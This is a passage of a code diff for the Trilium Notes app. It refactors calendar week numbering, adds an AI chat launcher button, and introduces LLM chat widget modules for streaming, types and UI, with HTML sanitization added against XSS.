+                        $lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
+                        $lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
                     } else {
                         $highlightsList.append(
                             $("<li>")
-                                .html(subHtml)
+                                .html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
                                 .on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
                         );
                     }

apps/client/src/widgets/launch_bar/Calendar.tsx

@@ -3,7 +3,7 @@ import clsx from "clsx";
 import server from "../../services/server";
 import { TargetedMouseEvent, VNode } from "preact";
 import { useEffect, useState } from "preact/hooks";
-import { Dayjs, getWeekInfo, WeekSettings } from "@triliumnext/commons";
+import { Dayjs } from "@triliumnext/commons";
 import { t } from "../../services/i18n";
 
 interface DateNotesForMonth {
@@ -22,7 +22,6 @@ const DAYS_OF_WEEK = [
 
 interface DateRangeInfo {
     weekNumbers: number[];
-    weekYears: number[];
     dates: Dayjs[];
 }
 
@@ -37,27 +36,19 @@ export interface CalendarArgs {
 
 export default function Calendar(args: CalendarArgs) {
     const [ rawFirstDayOfWeek ] = useTriliumOptionInt("firstDayOfWeek");
-    const [ firstWeekOfYear ] = useTriliumOptionInt("firstWeekOfYear");
-    const [ minDaysInFirstWeek ] = useTriliumOptionInt("minDaysInFirstWeek");
     const firstDayOfWeekISO = (rawFirstDayOfWeek === 0 ? 7 : rawFirstDayOfWeek);
 
-    const weekSettings = {
-        firstDayOfWeek: firstDayOfWeekISO,
-        firstWeekOfYear: firstWeekOfYear ?? 0,
-        minDaysInFirstWeek: minDaysInFirstWeek ?? 4
-    };
-
     const date = args.date;
     const firstDay = date.startOf('month');
     const firstDayISO = firstDay.isoWeekday();
-    const monthInfo = getMonthInformation(date, firstDayISO, weekSettings);
+    const monthInfo = getMonthInformation(date, firstDayISO, firstDayOfWeekISO);
 
     return (
         <>
             <CalendarWeekHeader rawFirstDayOfWeek={rawFirstDayOfWeek} />
             <div className="calendar-body" data-calendar-area="month">
-                {firstDayISO !== firstDayOfWeekISO && <PreviousMonthDays info={monthInfo.prevMonth} weekSettings={weekSettings} {...args} />}
-                <CurrentMonthDays weekSettings={weekSettings} {...args} />
+                {firstDayISO !== firstDayOfWeekISO && <PreviousMonthDays info={monthInfo.prevMonth} {...args} />}
+                <CurrentMonthDays firstDayOfWeekISO={firstDayOfWeekISO} {...args} />
                 <NextMonthDays dates={monthInfo.nextMonth.dates} {...args} />
             </div>
         </>
@@ -76,7 +67,7 @@ function CalendarWeekHeader({ rawFirstDayOfWeek }: { rawFirstDayOfWeek: number }
     )
 }
 
-function PreviousMonthDays({ date, info: { dates, weekNumbers, weekYears }, weekSettings, ...args }: { date: Dayjs, info: DateRangeInfo, weekSettings: WeekSettings } & CalendarArgs) {
+function PreviousMonthDays({ date, info: { dates, weekNumbers }, ...args }: { date: Dayjs, info: DateRangeInfo } & CalendarArgs) {
     const prevMonth = date.subtract(1, 'month').format('YYYY-MM');
     const [ dateNotesForPrevMonth, setDateNotesForPrevMonth ] = useState<DateNotesForMonth>();
 
@@ -86,28 +77,27 @@ function PreviousMonthDays({ date, info: { dates, weekNumbers, weekYears }, week
 
     return (
         <>
-            <CalendarWeek date={date} weekNumber={weekNumbers[0]} weekYear={weekYears[0]} {...args} />
+            <CalendarWeek date={date} weekNumber={weekNumbers[0]} {...args} />
             {dates.map(date => <CalendarDay key={date.toISOString()} date={date} dateNotesForMonth={dateNotesForPrevMonth} className="calendar-date-prev-month" {...args} />)}
         </>
     )
 }
 
-function CurrentMonthDays({ date, weekSettings, ...args }: { date: Dayjs, weekSettings: WeekSettings } & CalendarArgs) {
+function CurrentMonthDays({ date, firstDayOfWeekISO, ...args }: { date: Dayjs, firstDayOfWeekISO: number } & CalendarArgs) {
     let dateCursor = date;
     const currentMonth = date.month();
     const items: VNode[] = [];
     const curMonthString = date.format('YYYY-MM');
     const [ dateNotesForCurMonth, setDateNotesForCurMonth ] = useState<DateNotesForMonth>();
-    const { firstDayOfWeek, firstWeekOfYear, minDaysInFirstWeek } = weekSettings;
 
     useEffect(() => {
         server.get<DateNotesForMonth>(`special-notes/notes-for-month/${curMonthString}`).then(setDateNotesForCurMonth);
     }, [ date ]);
 
     while (dateCursor.month() === currentMonth) {
-        const { weekYear, weekNumber } = getWeekInfo(dateCursor, weekSettings);
-        if (dateCursor.isoWeekday() === firstDayOfWeek) {
-            items.push(<CalendarWeek key={`${weekYear}-W${weekNumber}`} date={dateCursor} weekNumber={weekNumber} weekYear={weekYear} {...args}/>)
+        const weekNumber = getWeekNumber(dateCursor, firstDayOfWeekISO);
+        if (dateCursor.isoWeekday() === firstDayOfWeekISO) {
+            items.push(<CalendarWeek key={`${dateCursor.year()}-W${weekNumber}`} date={dateCursor} weekNumber={weekNumber} {...args}/>)
         }
 
         items.push(<CalendarDay key={dateCursor.toISOString()} date={dateCursor} dateNotesForMonth={dateNotesForCurMonth} {...args} />)
@@ -151,8 +141,14 @@ function CalendarDay({ date, dateNotesForMonth, className, activeDate, todaysDat
     );
 }
 
-function CalendarWeek({ date, weekNumber, weekYear, weekNotes, onWeekClicked }: { weekNumber: number, weekYear: number, weekNotes: string[] } & Pick<CalendarArgs, "date" | "onWeekClicked">) {
-    const weekString = `${weekYear}-W${String(weekNumber).padStart(2, '0')}`;
+function CalendarWeek({ date, weekNumber, weekNotes, onWeekClicked }: { weekNumber: number, weekNotes: string[] } & Pick<CalendarArgs, "date" | "onWeekClicked">) {
+    const localDate = date.local();
+
+    // Handle case where week is in between years.
+    let year = localDate.year();
+    if (localDate.month() === 11 && weekNumber === 1) year++;
+
+    const weekString = `${year}-W${String(weekNumber).padStart(2, '0')}`;
 
     if (onWeekClicked) {
         return (
@@ -173,33 +169,33 @@ function CalendarWeek({ date, weekNumber, weekYear, weekNotes, onWeekClicked }:
         >{weekNumber}</span>);
 }
 
-export function getMonthInformation(date: Dayjs, firstDayISO: number, weekSettings: WeekSettings) {
+export function getMonthInformation(date: Dayjs, firstDayISO: number, firstDayOfWeekISO: number) {
     return {
-        prevMonth: getPrevMonthDays(date, firstDayISO, weekSettings),
-        nextMonth: getNextMonthDays(date, weekSettings.firstDayOfWeek)
+        prevMonth: getPrevMonthDays(date, firstDayISO, firstDayOfWeekISO),
+        nextMonth: getNextMonthDays(date, firstDayOfWeekISO)
     }
 }
 
-function getPrevMonthDays(date: Dayjs, firstDayISO: number, weekSettings: WeekSettings): DateRangeInfo {
+function getPrevMonthDays(date: Dayjs, firstDayISO: number, firstDayOfWeekISO: number): DateRangeInfo {
     const prevMonthLastDay = date.subtract(1, 'month').endOf('month');
-    const daysToAdd = (firstDayISO - weekSettings.firstDayOfWeek + 7) % 7;
+    const daysToAdd = (firstDayISO - firstDayOfWeekISO + 7) % 7;
     const dates: Dayjs[] = [];
 
     const firstDay = date.startOf('month');
-    const { weekYear, weekNumber } = getWeekInfo(firstDay, weekSettings);
+    const weekNumber = getWeekNumber(firstDay, firstDayOfWeekISO);
 
     // Get dates from previous month
     for (let i = daysToAdd - 1; i >= 0; i--) {
         dates.push(prevMonthLastDay.subtract(i, 'day'));
     }
 
-    return { weekNumbers: [ weekNumber ], weekYears: [ weekYear ], dates };
+    return { weekNumbers: [ weekNumber ], dates };
 }
 
-function getNextMonthDays(date: Dayjs, firstDayOfWeek: number): DateRangeInfo {
+function getNextMonthDays(date: Dayjs, firstDayOfWeekISO: number): DateRangeInfo {
     const lastDayOfMonth = date.endOf('month');
     const lastDayISO = lastDayOfMonth.isoWeekday();
-    const lastDayOfUserWeek = ((firstDayOfWeek + 6 - 1) % 7) + 1;
+    const lastDayOfUserWeek = ((firstDayOfWeekISO + 6 - 1) % 7) + 1;
     const nextMonthFirstDay = date.add(1, 'month').startOf('month');
     const dates: Dayjs[] = [];
 
@@ -210,5 +206,16 @@ function getNextMonthDays(date: Dayjs, firstDayOfWeek: number): DateRangeInfo {
             dates.push(nextMonthFirstDay.add(i, 'day'));
         }
     }
-    return { weekNumbers: [], weekYears: [], dates };
+    return { weekNumbers: [], dates };
+}
+
+export function getWeekNumber(date: Dayjs, firstDayOfWeekISO: number): number {
+    const weekStart = getWeekStartDate(date, firstDayOfWeekISO);
+    return weekStart.isoWeek();
+}
+
+function getWeekStartDate(date: Dayjs, firstDayOfWeekISO: number): Dayjs {
+    const currentISO = date.isoWeekday();
+    const diff = (currentISO - firstDayOfWeekISO + 7) % 7;
+    return date.clone().subtract(diff, "day").startOf("day");
 }

apps/client/src/widgets/launch_bar/LauncherContainer.tsx

@@ -10,7 +10,7 @@ import BookmarkButtons from "./BookmarkButtons";
 import CalendarWidget from "./CalendarWidget";
 import HistoryNavigationButton from "./HistoryNavigation";
 import { LaunchBarContext } from "./launch_bar_widgets";
-import { CommandButton, CustomWidget, NoteLauncher, QuickSearchLauncherWidget, ScriptLauncher, TodayLauncher } from "./LauncherDefinitions";
+import { AiChatButton, CommandButton, CustomWidget, NoteLauncher, QuickSearchLauncherWidget, ScriptLauncher, TodayLauncher } from "./LauncherDefinitions";
 import ProtectedSessionStatusWidget from "./ProtectedSessionStatusWidget";
 import SpacerWidget from "./SpacerWidget";
 import SyncStatus from "./SyncStatus";
@@ -67,7 +67,7 @@ function Launcher({ note, isHorizontalLayout }: { note: FNote, isHorizontalLayou
         case "builtinWidget":
             return initBuiltinWidget(note, isHorizontalLayout);
         default:
-            console.warn(`Unrecognized launcher type '${launcherType}' for launcher '${note.noteId}' title '${note.title}'`);
+            throw new Error(`Unrecognized launcher type '${launcherType}' for launcher '${note.noteId}' title '${note.title}'`);
     }
 }
 
@@ -96,10 +96,12 @@ function initBuiltinWidget(note: FNote, isHorizontalLayout: boolean) {
             return <TodayLauncher launcherNote={note} />;
         case "quickSearch":
             return <QuickSearchLauncherWidget />;
+        case "aiChatLauncher":
+            return <AiChatButton launcherNote={note} />;
         case "mobileTabSwitcher":
             return <TabSwitcher />;
         default:
-            console.warn(`Unrecognized builtin widget ${builtinWidget} for launcher ${note.noteId} "${note.title}"`);
+            throw new Error(`Unrecognized builtin widget ${builtinWidget} for launcher ${note.noteId} "${note.title}"`);
     }
 }
 

apps/client/src/widgets/launch_bar/LauncherDefinitions.tsx

@@ -11,7 +11,7 @@ import { getErrorMessage, isMobile } from "../../services/utils";
 import BasicWidget from "../basic_widget";
 import NoteContextAwareWidget from "../note_context_aware_widget";
 import QuickSearchWidget from "../quick_search";
-import { useGlobalShortcut, useLegacyWidget, useNoteLabel, useNoteRelationTarget } from "../react/hooks";
+import { useGlobalShortcut, useLegacyWidget, useNoteLabel, useNoteRelationTarget, useTriliumOptionBool } from "../react/hooks";
 import { ParentComponent } from "../react/react_utils";
 import { CustomNoteLauncher } from "./GenericButtons";
 import { LaunchBarActionButton, LaunchBarContext, LauncherNoteProps, useLauncherIconAndTitle } from "./launch_bar_widgets";
@@ -81,6 +81,19 @@ export function ScriptLauncher({ launcherNote }: LauncherNoteProps) {
     );
 }
 
+export function AiChatButton({ launcherNote }: LauncherNoteProps) {
+    const [ aiEnabled ] = useTriliumOptionBool("aiEnabled");
+    const { icon, title } = useLauncherIconAndTitle(launcherNote);
+
+    return aiEnabled && (
+        <LaunchBarActionButton
+            icon={icon}
+            text={title}
+            triggerCommand="createAiChat"
+        />
+    );
+}
+
 export function TodayLauncher({ launcherNote }: LauncherNoteProps) {
     return (
         <CustomNoteLauncher

apps/client/src/widgets/llm_chat/communication.ts

@@ -0,0 +1,260 @@
+/**
+ * Communication functions for LLM Chat
+ */
+import server from "../../services/server.js";
+import type { SessionResponse } from "./types.js";
+
+/**
+ * Create a new chat session
+ * @param currentNoteId - Optional current note ID for context
+ * @returns The noteId of the created chat note
+ */
+export async function createChatSession(currentNoteId?: string): Promise<string | null> {
+    try {
+        const resp = await server.post<SessionResponse>('llm/chat', {
+            title: 'Note Chat',
+            currentNoteId: currentNoteId // Pass the current note ID if available
+        });
+
+        if (resp && resp.id) {
+            // Backend returns the chat note ID as 'id'
+            return resp.id;
+        }
+    } catch (error) {
+        console.error('Failed to create chat session:', error);
+    }
+
+    return null;
+}
+
+/**
+ * Check if a chat note exists
+ * @param noteId - The ID of the chat note
+ */
+export async function checkSessionExists(noteId: string): Promise<boolean> {
+    try {
+        const sessionCheck = await server.getWithSilentNotFound<any>(`llm/chat/${noteId}`);
+        return !!(sessionCheck && sessionCheck.id);
+    } catch (error: any) {
+        console.log(`Error checking chat note ${noteId}:`, error);
+        return false;
+    }
+}
+
+/**
+ * Set up streaming response via WebSocket
+ * @param noteId - The ID of the chat note
+ * @param messageParams - Message parameters
+ * @param onContentUpdate - Callback for content updates
+ * @param onThinkingUpdate - Callback for thinking updates
+ * @param onToolExecution - Callback for tool execution
+ * @param onComplete - Callback for completion
+ * @param onError - Callback for errors
+ */
+export async function setupStreamingResponse(
+    noteId: string,
+    messageParams: any,
+    onContentUpdate: (content: string, isDone?: boolean) => void,
+    onThinkingUpdate: (thinking: string) => void,
+    onToolExecution: (toolData: any) => void,
+    onComplete: () => void,
+    onError: (error: Error) => void
+): Promise<void> {
+    return new Promise((resolve, reject) => {
+        let assistantResponse = '';
+        let receivedAnyContent = false;
+        let timeoutId: number | null = null;
+        let initialTimeoutId: number | null = null;
+        let cleanupTimeoutId: number | null = null;
+        let receivedAnyMessage = false;
+        let eventListener: ((event: Event) => void) | null = null;
+        let lastMessageTimestamp = 0;
+
+        // Create a unique identifier for this response process
+        const responseId = `llm-stream-${Date.now()}-${Math.floor(Math.random() * 1000)}`;
+        console.log(`[${responseId}] Setting up WebSocket streaming for chat note ${noteId}`);
+
+        // Send the initial request to initiate streaming
+        (async () => {
+            try {
+                const streamResponse = await server.post<any>(`llm/chat/${noteId}/messages/stream`, {
+                    content: messageParams.content,
+                    useAdvancedContext: messageParams.useAdvancedContext,
+                    showThinking: messageParams.showThinking,
+                    options: {
+                        temperature: 0.7,
+                        maxTokens: 2000
+                    }
+                });
+
+                if (!streamResponse || !streamResponse.success) {
+                    console.error(`[${responseId}] Failed to initiate streaming`);
+                    reject(new Error('Failed to initiate streaming'));
+                    return;
+                }
+
+                console.log(`[${responseId}] Streaming initiated successfully`);
+            } catch (error) {
+                console.error(`[${responseId}] Error initiating streaming:`, error);
+                reject(error);
+                return;
+            }
+        })();
+
+        // Function to safely perform cleanup
+        const performCleanup = () => {
+            if (cleanupTimeoutId) {
+                window.clearTimeout(cleanupTimeoutId);
+                cleanupTimeoutId = null;
+            }
+
+            console.log(`[${responseId}] Performing final cleanup of event listener`);
+            cleanupEventListener(eventListener);
+            onComplete();
+            resolve();
+        };
+
+        // Set initial timeout to catch cases where no message is received at all
+        initialTimeoutId = window.setTimeout(() => {
+            if (!receivedAnyMessage) {
+                console.error(`[${responseId}] No initial message received within timeout`);
+                performCleanup();
+                reject(new Error('No response received from server'));
+            }
+        }, 10000);
+
+        // Create a message handler for CustomEvents
+        eventListener = (event: Event) => {
+            const customEvent = event as CustomEvent;
+            const message = customEvent.detail;
+
+            // Only process messages for our chat note
+            if (!message || message.chatNoteId !== noteId) {
+                return;
+            }
+
+            // Update last message timestamp
+            lastMessageTimestamp = Date.now();
+
+            // Cancel any pending cleanup when we receive a new message
+            if (cleanupTimeoutId) {
+                console.log(`[${responseId}] Cancelling scheduled cleanup due to new message`);
+                window.clearTimeout(cleanupTimeoutId);
+                cleanupTimeoutId = null;
+            }
+
+            console.log(`[${responseId}] LLM Stream message received: content=${!!message.content}, contentLength=${message.content?.length || 0}, thinking=${!!message.thinking}, toolExecution=${!!message.toolExecution}, done=${!!message.done}`);
+
+            // Mark first message received
+            if (!receivedAnyMessage) {
+                receivedAnyMessage = true;
+                console.log(`[${responseId}] First message received for chat note ${noteId}`);
+
+                // Clear the initial timeout since we've received a message
+                if (initialTimeoutId !== null) {
+                    window.clearTimeout(initialTimeoutId);
+                    initialTimeoutId = null;
+                }
+            }
+
+            // Handle error
+            if (message.error) {
+                console.error(`[${responseId}] Stream error: ${message.error}`);
+                performCleanup();
+                reject(new Error(message.error));
+                return;
+            }
+
+            // Handle thinking updates - only show if showThinking is enabled
+            if (message.thinking && messageParams.showThinking) {
+                console.log(`[${responseId}] Received thinking: ${message.thinking.substring(0, 100)}...`);
+                onThinkingUpdate(message.thinking);
+            }
+
+            // Handle tool execution updates
+            if (message.toolExecution) {
+                console.log(`[${responseId}] Tool execution update:`, message.toolExecution);
+                onToolExecution(message.toolExecution);
+            }
+
+            // Handle content updates
+            if (message.content) {
+                // Simply append the new content - no complex deduplication
+                assistantResponse += message.content;
+
+                // Update the UI immediately with each chunk
+                onContentUpdate(assistantResponse, message.done || false);
+                receivedAnyContent = true;
+
+                // Reset timeout since we got content
+                if (timeoutId !== null) {
+                    window.clearTimeout(timeoutId);
+                }
+
+                // Set new timeout
+                timeoutId = window.setTimeout(() => {
+                    console.warn(`[${responseId}] Stream timeout for chat note ${noteId}`);
+                    performCleanup();
+                    reject(new Error('Stream timeout'));
+                }, 30000);
+            }
+
+            // Handle completion
+            if (message.done) {
+                console.log(`[${responseId}] Stream completed for chat note ${noteId}, final response: ${assistantResponse.length} chars`);
+
+                // Clear all timeouts
+                if (timeoutId !== null) {
+                    window.clearTimeout(timeoutId);
+                    timeoutId = null;
+                }
+
+                // Schedule cleanup after a brief delay to ensure all processing is complete
+                cleanupTimeoutId = window.setTimeout(() => {
+                    performCleanup();
+                }, 100);
+            }
+        };
+
+        // Register the event listener for WebSocket messages
+        window.addEventListener('llm-stream-message', eventListener);
+
+        console.log(`[${responseId}] Event listener registered, waiting for messages...`);
+    });
+}
+
+/**
+ * Clean up an event listener
+ */
+function cleanupEventListener(listener: ((event: Event) => void) | null): void {
+    if (listener) {
+        try {
+            window.removeEventListener('llm-stream-message', listener);
+            console.log(`Successfully removed event listener`);
+        } catch (err) {
+            console.error(`Error removing event listener:`, err);
+        }
+    }
+}
+
+/**
+ * Get a direct response from the server without streaming
+ */
+export async function getDirectResponse(noteId: string, messageParams: any): Promise<any> {
+    try {
+        const postResponse = await server.post<any>(`llm/chat/${noteId}/messages`, {
+            message: messageParams.content,
+            includeContext: messageParams.useAdvancedContext,
+            options: {
+                temperature: 0.7,
+                maxTokens: 2000
+            }
+        });
+
+        return postResponse;
+    } catch (error) {
+        console.error('Error getting direct response:', error);
+        throw error;
+    }
+}
+

apps/client/src/widgets/llm_chat/index.ts

@@ -0,0 +1,6 @@
+/**
+ * LLM Chat Panel Widget Module
+ */
+import LlmChatPanel from './llm_chat_panel.js';
+
+export default LlmChatPanel;

apps/client/src/widgets/llm_chat/message_processor.ts

@@ -0,0 +1,59 @@
+/**
+ * Message processing functions for LLM Chat
+ */
+import type { ToolExecutionStep } from "./types.js";
+
+/**
+ * Extract tool execution steps from the DOM that are within the chat flow
+ */
+export function extractInChatToolSteps(chatMessagesElement: HTMLElement): ToolExecutionStep[] {
+    const steps: ToolExecutionStep[] = [];
+
+    // Look for tool execution in the chat flow
+    const toolExecutionElement = chatMessagesElement.querySelector('.chat-tool-execution');
+
+    if (toolExecutionElement) {
+        // Find all tool step elements
+        const stepElements = toolExecutionElement.querySelectorAll('.tool-step');
+
+        stepElements.forEach(stepEl => {
+            const stepHtml = stepEl.innerHTML;
+
+            // Determine the step type based on icons or classes present
+            let type = 'info';
+            let name: string | undefined;
+            let content = '';
+
+            if (stepHtml.includes('bx-code-block')) {
+                type = 'executing';
+                content = 'Executing tools...';
+            } else if (stepHtml.includes('bx-terminal')) {
+                type = 'result';
+                // Extract the tool name from the step
+                const nameMatch = stepHtml.match(/<span[^>]*>Tool: ([^<]+)<\/span>/);
+                name = nameMatch ? nameMatch[1] : 'unknown';
+
+                // Extract the content from the div with class mt-1 ps-3
+                const contentEl = stepEl.querySelector('.mt-1.ps-3');
+                content = contentEl ? contentEl.innerHTML : '';
+            } else if (stepHtml.includes('bx-error-circle')) {
+                type = 'error';
+                const nameMatch = stepHtml.match(/<span[^>]*>Tool: ([^<]+)<\/span>/);
+                name = nameMatch ? nameMatch[1] : 'unknown';
+
+                const contentEl = stepEl.querySelector('.mt-1.ps-3.text-danger');
+                content = contentEl ? contentEl.innerHTML : '';
+            } else if (stepHtml.includes('bx-message-dots')) {
+                type = 'generating';
+                content = 'Generating response with tool results...';
+            } else if (stepHtml.includes('bx-loader-alt')) {
+                // Skip the initializing spinner
+                return;
+            }
+
+            steps.push({ type, name, content });
+        });
+    }
+
+    return steps;
+}

apps/client/src/widgets/llm_chat/types.ts

@@ -0,0 +1,60 @@
+/**
+ * Types for LLM Chat Panel
+ */
+
+export interface ChatResponse {
+    id: string;
+    messages: Array<{role: string; content: string}>;
+    sources?: Array<{noteId: string; title: string}>;
+}
+
+export interface SessionResponse {
+    id: string;
+    title: string;
+    noteId: string; // The ID of the chat note
+}
+
+export interface ToolExecutionStep {
+    type: string;
+    name?: string;
+    content: string;
+}
+
+export interface MessageData {
+    role: string;
+    content: string;
+    timestamp?: Date;
+    mentions?: Array<{
+        noteId: string;
+        title: string;
+        notePath: string;
+    }>;
+}
+
+export interface ChatData {
+    messages: MessageData[];
+    noteId: string; // The ID of the chat note
+    chatNoteId?: string; // Deprecated - kept for backward compatibility, should equal noteId
+    toolSteps: ToolExecutionStep[];
+    sources?: Array<{
+        noteId: string;
+        title: string;
+        similarity?: number;
+        content?: string;
+    }>;
+    metadata?: {
+        model?: string;
+        provider?: string;
+        temperature?: number;
+        maxTokens?: number;
+        lastUpdated?: string;
+        toolExecutions?: Array<{
+            id: string;
+            name: string;
+            arguments: any;
+            result: any;
+            error?: string;
+            timestamp: string;
+        }>;
+    };
+}

apps/client/src/widgets/llm_chat/ui.ts

@@ -0,0 +1,285 @@
+/**
+ * UI-related functions for LLM Chat
+ */
+import { t } from "../../services/i18n.js";
+import type { ToolExecutionStep } from "./types.js";
+import { escapeHtml, formatMarkdown, applyHighlighting } from "./utils.js";
+import DOMPurify from "dompurify";
+
+// Template for the chat widget
+export const TPL = `
+<div class="note-context-chat h-100 w-100 d-flex flex-column">
+    <!-- Move validation warning outside the card with better styling -->
+    <div class="provider-validation-warning alert alert-warning m-2 border-inline-start border-warning" style="display: none; padding-inline-start: 15px; border-inline-start: 4px solid #ffc107; background-color: rgba(255, 248, 230, 0.9); font-size: 0.9rem; box-shadow: 0 2px 5px rgba(0,0,0,0.05);"></div>
+
+    <div class="note-context-chat-container flex-grow-1 overflow-auto p-3">
+        <div class="note-context-chat-messages"></div>
+
+        <!-- Thinking display area -->
+        <div class="llm-thinking-container" style="display: none;">
+            <div class="thinking-bubble">
+                <div class="thinking-header d-flex align-items-center">
+                    <div class="thinking-dots">
+                        <span></span>
+                        <span></span>
+                        <span></span>
+                    </div>
+                    <span class="thinking-label ms-2 text-muted small">AI is thinking...</span>
+                    <button type="button" class="btn btn-sm btn-link p-0 ms-auto thinking-toggle" title="Toggle thinking details">
+                        <i class="bx bx-chevron-down"></i>
+                    </button>
+                </div>
+                <div class="thinking-content" style="display: none;">
+                    <div class="thinking-text"></div>
+                </div>
+            </div>
+        </div>
+
+        <div class="loading-indicator" style="display: none;">
+            <div class="spinner-border spinner-border-sm text-primary" role="status">
+                <span class="visually-hidden">Loading...</span>
+            </div>
+            <span class="ms-2">${t('ai_llm.agent.processing')}</span>
+        </div>
+    </div>
+
+    <div class="sources-container p-2 border-top" style="display: none;">
+        <h6 class="m-0 p-1 d-flex align-items-center">
+            <i class="bx bx-link-alt me-1"></i> ${t('ai_llm.sources')}
+            <span class="badge bg-primary rounded-pill ms-2 sources-count"></span>
+        </h6>
+        <div class="sources-list mt-2"></div>
+    </div>
+
+    <form class="note-context-chat-form d-flex flex-column border-top p-2">
+        <div class="d-flex chat-input-container mb-2">
+            <div
+                class="form-control note-context-chat-input flex-grow-1"
+                style="min-height: 60px; max-height: 200px; overflow-y: auto;"
+                data-placeholder="${t('ai_llm.enter_message')}"
+            ></div>
+            <button type="submit" class="btn btn-primary note-context-chat-send-button ms-2 d-flex align-items-center justify-content-center">
+                <i class="bx bx-send"></i>
+            </button>
+        </div>
+        <div class="d-flex align-items-center context-option-container mt-1 justify-content-end">
+            <small class="text-muted me-auto fst-italic">Options:</small>
+            <div class="form-check form-switch me-3 small">
+                <input class="form-check-input use-advanced-context-checkbox" type="checkbox" id="useEnhancedContext" checked>
+                <label class="form-check-label small" for="useEnhancedContext" title="${t('ai.enhanced_context_description')}">
+                    ${t('ai_llm.use_enhanced_context')}
+                    <i class="bx bx-info-circle small text-muted"></i>
+                </label>
+            </div>
+            <div class="form-check form-switch small">
+                <input class="form-check-input show-thinking-checkbox" type="checkbox" id="showThinking">
+                <label class="form-check-label small" for="showThinking" title="${t('ai.show_thinking_description')}">
+                    ${t('ai_llm.show_thinking')}
+                    <i class="bx bx-info-circle small text-muted"></i>
+                </label>
+            </div>
+        </div>
+    </form>
+</div>
+`;
+
+/**
+ * Add a message to the chat UI
+ */
+export function addMessageToChat(messagesContainer: HTMLElement, chatContainer: HTMLElement, role: 'user' | 'assistant', content: string) {
+    const messageElement = document.createElement('div');
+    messageElement.className = `chat-message ${role}-message mb-3 d-flex`;
+
+    const avatarElement = document.createElement('div');
+    avatarElement.className = 'message-avatar d-flex align-items-center justify-content-center me-2';
+
+    if (role === 'user') {
+        avatarElement.innerHTML = '<i class="bx bx-user"></i>';
+        avatarElement.classList.add('user-avatar');
+    } else {
+        avatarElement.innerHTML = '<i class="bx bx-bot"></i>';
+        avatarElement.classList.add('assistant-avatar');
+    }
+
+    const contentElement = document.createElement('div');
+    contentElement.className = 'message-content p-3 rounded flex-grow-1';
+
+    if (role === 'user') {
+        contentElement.classList.add('user-content', 'bg-light');
+    } else {
+        contentElement.classList.add('assistant-content');
+    }
+
+    // Format the content with markdown and sanitize to prevent XSS
+    contentElement.innerHTML = DOMPurify.sanitize(formatMarkdown(content));
+
+    messageElement.appendChild(avatarElement);
+    messageElement.appendChild(contentElement);
+
+    messagesContainer.appendChild(messageElement);
+
+    // Apply syntax highlighting to any code blocks in the message
+    applyHighlighting(contentElement);
+
+    // Scroll to bottom
+    chatContainer.scrollTop = chatContainer.scrollHeight;
+}
+
+/**
+ * Show sources in the UI
+ */
+export function showSources(
+    sourcesList: HTMLElement,
+    sourcesContainer: HTMLElement,
+    sourcesCount: HTMLElement,
+    sources: Array<{noteId: string, title: string}>,
+    onSourceClick: (noteId: string) => void
+) {
+    sourcesList.innerHTML = '';
+    sourcesCount.textContent = sources.length.toString();
+
+    sources.forEach(source => {
+        const sourceElement = document.createElement('div');
+        sourceElement.className = 'source-item p-2 mb-1 border rounded d-flex align-items-center';
+
+        // Build the link safely using DOM APIs to prevent XSS via note titles
+        const wrapper = document.createElement('div');
+        wrapper.className = 'd-flex align-items-center w-100';
+
+        const link = document.createElement('a');
+        link.href = `#root/${source.noteId}`;
+        link.setAttribute('data-note-id', source.noteId);
+        link.className = 'source-link text-truncate d-flex align-items-center';
+        link.title = `Open note: ${source.title}`;
+
+        const icon = document.createElement('i');
+        icon.className = 'bx bx-file-blank me-1';
+
+        const titleSpan = document.createElement('span');
+        titleSpan.className = 'source-title';
+        titleSpan.textContent = source.title;
+
+        link.appendChild(icon);
+        link.appendChild(titleSpan);
+        wrapper.appendChild(link);
+        sourceElement.appendChild(wrapper);
+
+        // Add click handler
+        link.addEventListener('click', (e) => {
+            e.preventDefault();
+            e.stopPropagation();
+            onSourceClick(source.noteId);
+            return false;
+        });
+
+        sourcesList.appendChild(sourceElement);
+    });
+
+    sourcesContainer.style.display = 'block';
+}
+
+/**
+ * Hide sources in the UI
+ */
+export function hideSources(sourcesContainer: HTMLElement) {
+    sourcesContainer.style.display = 'none';
+}
+
+/**
+ * Show loading indicator
+ */
+export function showLoadingIndicator(loadingIndicator: HTMLElement) {
+    const logId = `ui-${Date.now()}`;
+    console.log(`[${logId}] Showing loading indicator`);
+
+    try {
+        loadingIndicator.style.display = 'flex';
+        const forceUpdate = loadingIndicator.offsetHeight;
+        console.log(`[${logId}] Loading indicator initialized`);
+    } catch (err) {
+        console.error(`[${logId}] Error showing loading indicator:`, err);
+    }
+}
+
+/**
+ * Hide loading indicator
+ */
+export function hideLoadingIndicator(loadingIndicator: HTMLElement) {
+    const logId = `ui-${Date.now()}`;
+    console.log(`[${logId}] Hiding loading indicator`);
+
+    try {
+        loadingIndicator.style.display = 'none';
+        const forceUpdate = loadingIndicator.offsetHeight;
+        console.log(`[${logId}] Loading indicator hidden`);
+    } catch (err) {
+        console.error(`[${logId}] Error hiding loading indicator:`, err);
+    }
+}
+
+/**
+ * Render tool steps as HTML for display in chat
+ */
+export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
+    if (!steps || steps.length === 0) return '';
+
+    let html = '';
+
+    steps.forEach(step => {
+        let icon, labelClass, content;
+        const safeContent = escapeHtml(step.content || '');
+        const safeName = escapeHtml(step.name || 'unknown');
+
+        switch (step.type) {
+            case 'executing':
+                icon = 'bx-code-block text-primary';
+                labelClass = '';
+                content = `<div class="d-flex align-items-center">
+                    <i class="bx ${icon} me-1"></i>
+                    <span>${safeContent}</span>
+                </div>`;
+                break;
+
+            case 'result':
+                icon = 'bx-terminal text-success';
+                labelClass = 'fw-bold';
+                content = `<div class="d-flex align-items-center">
+                    <i class="bx ${icon} me-1"></i>
+                    <span class="${labelClass}">Tool: ${safeName}</span>
+                </div>
+                <div class="mt-1 ps-3">${safeContent}</div>`;
+                break;
+
+            case 'error':
+                icon = 'bx-error-circle text-danger';
+                labelClass = 'fw-bold text-danger';
+                content = `<div class="d-flex align-items-center">
+                    <i class="bx ${icon} me-1"></i>
+                    <span class="${labelClass}">Tool: ${safeName}</span>
+                </div>
+                <div class="mt-1 ps-3 text-danger">${safeContent}</div>`;
+                break;
+
